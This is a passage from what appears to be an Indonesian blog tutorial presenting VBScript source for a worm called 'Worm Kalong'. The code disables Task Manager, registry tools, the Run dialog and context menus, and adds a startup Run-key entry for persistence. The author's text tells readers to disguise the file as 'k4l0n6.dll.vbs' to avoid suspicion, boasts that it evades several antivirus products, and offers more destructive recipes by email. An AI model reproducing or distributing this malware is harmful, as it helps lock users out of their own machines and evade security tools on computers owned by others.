kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"

'//--Manip – Disable klik kanan--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"

'//--Manip - Munculkan Pesan Setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe."

'//--Manip – Aktif setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- k4l0n6.dll.vbs "

'//--Manip – Ubah RegisteredOwner dan Organization--//
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Kalong"

'//--Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan--//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
'Akhir dari Kode


Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa. Kalau mau tahu cara membuat virus yang lebih mengerikan lagi dengan Notepad, kirim e-mail ke saya y

[~~Baca Selengkapnya~~]